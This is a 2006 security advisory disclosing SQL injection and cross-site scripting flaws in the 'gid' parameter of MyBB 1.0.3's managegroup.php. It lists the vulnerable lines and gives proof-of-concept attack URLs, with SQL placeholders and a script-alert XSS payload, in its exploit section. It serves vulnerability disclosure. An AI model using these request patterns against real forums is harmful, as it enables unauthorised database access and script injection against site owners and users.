[myimei]MyBB1.0.3~managegroup.php~Multiple SqlInjection & XSS

[addmimistrator () gmail com]

\>>>>>>>>ORIGINAL ADVISORY<<<<<<<<<<</
http://myimei.com/security/2006-02-10/mybb103managegroupphpmultiple-sqlinjection-xss.html

Vendor Credit:http://community.mybboard.net/showthread.php?tid=6777

——————-Summary—————-
Software: MyBB
Sowtware’s Web Site: http://www.mybboard.com
Versions: 1.0.3
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Available
Discovered by: <strong>imei addmimistrator</strong>
Risk Level: <strong>mediume high</strong>
—————–Description—————
There is some security bug in MyBB 1.0.3 software (latest version fully patched) file <strong>managegroup.php </strong> 
lines 313 that allows attacker performe an <strong>SQLINJECTION </strong>and<strong> XSS</strong> attack.<!--more--> 
bug is in result of poor checking non integer values for <strong>“gid” </strong>input variable.
Conditions: user should have enough  permissions (group leader)
/////////////////////////
Lines of buggy code are:
75 sql
98 sql
125 sql
141 sql
160 sql
177 xss
/////////////////////////
————–Exploit———————-
mybb/managegroup.php?gid=8&action=do_joinrequests&request[<strong>sql</strong>]=accept
mybb/managegroup.php?gid=8'<strong>sql</strong>&action=joinrequests
mybb/managegroup.php?gid=8'<strong>sql</strong>&action=do_manageusers&removeuser[]='<strong>sql</strong>
mybb/managegroup.php?gid=8'<strong>sql</strong>{if user group is publically joinabe with moderated by leader}
mybb/managegroup.php?gid=8'<strong>sql</strong>{if user group is publically joinabe without moderating by leader}
mybb/managegroup.php?gid=8'//&lt;script&gt;alert(1)&lt;/script&gt;{if user group is publically joinabe without 
moderating by leader also requests are as more as can not show on one page}
————–Solution———————
upgrade to vendors provided patch
————–Credit———————–
Discovered by: imei addmimistrator
addmimistrator(4}gmail(O}com
www.myimei.com
security.myimei.com